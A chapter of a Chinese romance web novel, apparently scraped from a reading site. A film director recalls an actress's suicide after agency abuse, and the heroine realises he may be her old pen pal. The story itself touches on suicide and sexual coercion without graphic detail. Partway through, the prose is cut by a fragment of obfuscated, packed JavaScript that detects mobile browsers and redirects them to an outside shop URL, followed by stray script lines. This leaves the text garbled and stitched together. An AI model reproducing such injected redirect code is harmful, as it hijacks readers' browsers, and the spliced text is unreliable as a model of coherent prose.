62. 想把你比作春日

作品:《想把你比作春日

    -


    北京的路演结束后,谈雪昼人也没回江流,而是跟着剧组的行程,继续跑其他的路演。行程没刚上映时连轴转那么紧,一天就一场,中间有空,应惟昭约他稍微放松一下。


    也是听说他前段时间受伤,想知道怎么回事。


    他到了场子之后,发现人还挺多,都是一个圈子里的,熟悉或者不熟悉的年轻二代们,纷纷跟他打招呼。


    谈雪昼径直找到应惟昭,踢了他一脚,他懒洋洋地挪开一个位置,问:“前几天怎么回事?那黑粉是真黑粉,还是你家里哪个叔叔舅舅的找的人?”


    应惟昭家里情况比谈雪昼复杂多了,从小接受残酷的继承人教育,在水深火热之中长大。所以才能跟谈雪昼这种性格散漫不想继承家业的非典型二代做朋友。


    谈雪昼也没解释,漫不经心地低头看手机。


    应惟昭又问他:“真是辛漪的粉丝?你还跟人和解,让警察提前把人放出来了?”


    谈雪昼懒懒嗯了声。


    应惟昭敛起表情,默然片刻:“你是不是,还是觉得辛漪的死是你导致的?你清醒点,她自杀跟你没有关系。她是成年人,她应该自己保护自己,保护不了,也该寻求其他人或者警察的帮助。”


    谈雪昼看着场子里跳跃的射灯,片刻后说:“是我没发现她的求救。如果不是我让她来演我的电影,她可能,还好好地活着。”


    “谈雪昼!你以为你是谁?以为自己是救世主吗?”


    “……”


    谈雪昼没有说话,出神盯着虚空某处,保持了长久的沉默。


    他只是突然想起了辛漪。


    他对自己用过的演员们,其实都没什么特殊感情。对导演来说,演员无非是道具而已。也许有些导演能从演员眼里看到故事,看到灵感,看到欲望,看到冲突,会把演员视作自己的缪斯。但他不是,他单纯是选择适合自己故事的人物来演绎自己的故事,在他的电影里,演员确实处于不大需要自我创作的道具地位上,这也是他被很多影评人批评的地方。


    辛漪是他用得很顺手的一个女演员。


    他拍第二部电影,就跟辛漪合作了,他是在横店群演人群中发现她的。


    她学过武术,武打动作漂亮,很长一段时间在横店做武打替身和武术指导,混口饭吃挺不容易。


    小演员,被很多人轻贱,第一次见的时候,她那个剧组道具组出了事故,导致她从高处摔了下来,灰头土脸,沾了半边脸的血,痛得话都说不出。


    当时他路过,让人帮忙送她去了医院。


    没过多久,她养好了身体,跑来他的剧组自荐,说可以当武替,也能做光替。


    她能吃苦,人勤奋,肯努力,为人处世都很成熟,是所有导演都能用顺手的那一类演员。


    后来谈雪昼才知道她家里的情况,刻苦早慧的女孩子,有一个很经典的悲情身世:父亲去世,母亲生病,弟弟游手好闲,家里债台高筑。


    靠她一个女孩子,早早辍学在横店当群演来养家糊口。


    谈雪昼于是给了她机会,她也抓住了,从他的配角演起,演到主角,被所有人看见,爆红,成了内娱最后的刀马旦。


    最多的时候她抓紧一年演四五部电影,过年的时候还在剧组,但也不忘记打电话问候他,感谢他当初的提携。


    故事一直到这里,都是上升的。


    谈雪昼没有发现她一路昂扬背后,到底正在经历什么。


    事实上,一直到她留下遗书自杀之前,谈雪昼对她的印象,一直是合作过的、过得很辛苦但和努力的一个女演员。


    对她印象不错,所以,他要开《致命追杀2》,她来试镜,他拍板定了她。然而剧组所有演员进行封闭训练,要在一个基地里训练三个月,她表现却很差劲,频频请假离开基地。


    谈雪昼对她作为女主擅自破坏规则很不满,告诉她,再请假离开,她可以离开剧组,他会另外找新的女主角。


    那天她没有通知他,没有请假,擅自离开了基地。


    隔天下午,她的经纪人通知他,说她在公寓里自杀了。


    留下三封遗书,一封是给弟弟的,一封是给妈妈的,最后一封是给他的。


    她在里面写了很多内容。


    写她的家庭,写她的挣扎,写她的不敢示人的无望的爱慕,写她吃过的苦,写她遭遇的惨淡,写她以为人生不全是痛苦,却发现全然如此,写她可悲人生唯一的幸运,写她决定解脱,不再面对这个充满痛苦与挣扎的世界。


    最后她写,希望这些经历,这些倾诉,不会让他难过。


    因为,她唯一的幸福就是曾经演过他的角色,在他的剧组里她第一次觉得自己拥有希望和未来。所以,她希望他能一直幸福,做自己想做的事。


    不用为她难过,她得到了解脱。


    ——她演他的女主角爆火之后没多久,就开始遭遇经纪公司长时间的压榨和欺凌。


    她签的经纪公司是业内巨头,掌握了出版、传媒、艺人经纪、文化传播等等诸多领域,哪怕她已经爆红,在公司眼里依然不过是个小演员、小艺人。


    压榨欺凌过后,是无法忍受的潜规则。


    她被叫去各种饭局上,给人陪酒,后来就不得不与人发生关系,有一次,甚至被逼迫同时和三个人发生关系。


    这一段,她在遗书里写得很乱。


    谈雪昼也不忍心细看。


    她不想给任何人添麻烦。


    没人知道其实她已经重度抑郁。


    她自杀后,虽然知情人都安慰谈雪昼,但他还是觉得是他害了她。


    因为是他选中她成为《致命追杀2》的女主角。她训练之后,作息变得正常规律很多,重度抑郁的情绪竟然消退。所以,她再度受到刺激之后,才会有行动力选择自杀。


    谈雪昼后来很长一段时间经常想,如果自己能发现她一次一次的请假究竟去做了什么,能看见她身上的伤痕和笑容背后的悲凉,事情会不会不那么糟糕。


    或者……


    他没有在横店看见她,帮她,她会不会依然艰难但坚强地活着。


    她走得很决绝。


    知道内情的人不多。


    谈雪昼在她离开之后,第一次跟家里低头。于是那家欺凌过她的公司很快在资本市场节节败退,现在已经接近退市边缘;伤害过她的人,也因为税务、经营、操纵资本市场、内幕交易老鼠仓等等原因陆续入狱。


    但是,辛漪确实已经死了,再也回不来了。


    最令人难过的,不是他没能救她。


    而是,他本来可以救她。


    -


    接连几天,宜夏都只是在热搜上看到谈雪昼的消息。


    她每天按时给他发她养的玫瑰花。


    花瓶里从一朵,渐渐变成了一捧。


    她也每天忙完之后,去嘉华汇陪瑁妹玩耍。


    他其实有让人照顾瑁妹,根本不需要她额外的照顾。所以,他让她去看瑁妹,代表着他不再介意之前很多事情了。


    宜夏陪瑁妹玩,拍了一些视频给他。


    瑁妹真的是一只特别活泼的小猫,天天在家里跑酷。哪怕嘉华汇足足五六百平米,它也能哪里都跑个遍。只不过,有一个房间上着锁,瑁妹始终没能进去。


    瑁妹就对这个上了密码锁的房间格外好奇,特别钟爱,每天跑到门口,都要蹲在那里喵喵叫两声,试探着叫宜夏给它开门。


    被缠得不行了,宜夏给谈雪昼发了段视频,问他能不能开门让瑁妹进去。


    谈雪昼隔了一会儿回她:


    【不行。】


    宜夏下意识打字问为什么,又把“为什么”删掉,发了个“噢”过去。


    每个人都有隐私,这个房间里应该是谈雪昼的一些隐私回忆之类的,不想让人知道也很正常。


    谈雪昼那边也没解释,匆匆收了线,应该是正在忙。


    宜夏看了眼那扇门。


    其实她也有点好奇。


    不过她知道不多问。


    说到好奇……


    她突然想起那天帮谈雪昼发微博,不小心瞥见的他那个小号。


    她后知后觉感觉到有点奇怪,总感觉他应该是不爱发社交媒体的那种人,毕竟微博都发得很少,朋友圈也不怎么发。怎么会有个小号呢?


    窥探他的小号,算偷窥隐私吗?


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009612|141728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >宜夏良心煎熬了一阵子,还是没忍住好奇,努力开始回忆他的小号那一串拼音。


    好像是……D开头?


    Dyi什么来着?


    Dyim……


    宜夏慢慢在搜索框输入拼音,后面一串实在是想不清了,直接输入。


    微博却只显示了一个用户。


    空白头像,ID是“Dyimxue”。


    原来那个头像不是一片空白,而是一片白茫茫的雪原。


    宜夏坐回沙发上,一边懒懒摸着瑁妹,一边点进那个小号偷窥。


    那个小号发的内容很少很少,不过一直没断更,应该是持续在用。


    发的几乎都是照片,机票、电影票,瑁妹的照片,还有一些手绘,画风和他在Martha那个账号里更新的内容一样,很清新。


    尤其是经常画一只小鹿行走在深绿的森林里、清凉的夏季月光下,轻盈又美好。


    只是……


    宜夏注意到,每张手绘右下角都印了一个章。


    曲折的篆刻,宜夏勉强辨认出第一个字是“冬”。


    ……冬,什么呢?


    宜夏怔住了,一种不可思议的念头不可自抑地出现在了脑海里。


    -


    冬宜密雪。


    DongYiMiXue。


    是谈雪昼吗?


    宜夏以最快的速度打车回了公寓,到楼下才想起,高中时所有的东西,信件、文件、教材书籍,全都在清塘岛的老房子里。


    宜夏看了下时间,这个点,已经没有回清塘的船了。


    第二天她一早就坐上了回清塘的船,在车上,她仔细捋了捋跟冬天认识的经历。


    说巧合算不上,因为冬天在TA的第一封信里,就很明确地说了TA是看了她在儿童文学上发的童话故事,来跟她写信的。


    那段时间是宜夏过得很艰难的一段时间。


    被关馨煽动全班孤立,她是真正意义上的一个朋友都没有。


    于璟是高一下学期转学到江流中学的,在那之前,上学期,从期中考试过后开始,连一个愿意跟她说话的人都没有。


    高二的时候,她通过写信认识了冬天。


    冬天是她唯一一个倾诉对象,甚至,算得上树洞。她羞耻心很强,哪怕是对着树洞,她也不愿意告诉TA她在经历孤立和霸凌,但是,藏不住的烦恼和苦闷,依然涓涓在信纸上流淌。冬天的信很温柔,安慰过她很多个孤独的晚上。


    他们一直通信通了一年多,到她高考结束,她主动跟冬天断了联系——那段时间她经历了很不好的事情,她害怕自己一写信,就会在信纸上写太多负面的东西,带给冬天不好的情绪和负能量。


    所以……


    谈雪昼,会是冬天吗?


    宜夏几乎有种战栗的晕眩。


    她预感到自己正在掀开某个漫长故事的一角,而那个故事的全貌,她真的做好准备接受了吗?


    回到清塘岛,有种恍如隔日感。


    她回到家,在小储物间里翻出了自己高中时的所有东西。


    那些信件被收拾得很好,落款的那枚篆刻印章鲜明依旧。


    跟微博里手绘的落款一模一样。


    宜夏也不知道自己究竟该是什么心情。


    只是,特别的想哭。


    她很想知道,谈雪昼知不知道,曾经与他通信的那个夏天到底是谁。


    如果他知道,他是什么时候知道的?


    如果他不知道,那这一切会是巧合吗?


    命运多年之后一个兜转,一个漂亮的转折,让他来到她面前。


    她少女时期唯一珍贵的,真正的朋友。


    也是她现在,很喜欢,很想要在一起的对象。


    宜夏把信件好好地收了起来,带回江流。


    她有种迫切的,马上见到谈雪昼的冲动。但是他人不在江流,还在北京。她为他养的橙玫瑰已经积蓄了满满一捧,她很想让他看见那些花儿,很想看见他笑。


    谁知道刚回江流,她接到了副导演的电话。


    告诉她:“宜导,出事了。方凌吸毒被拘留了。现在已经出了通报了……”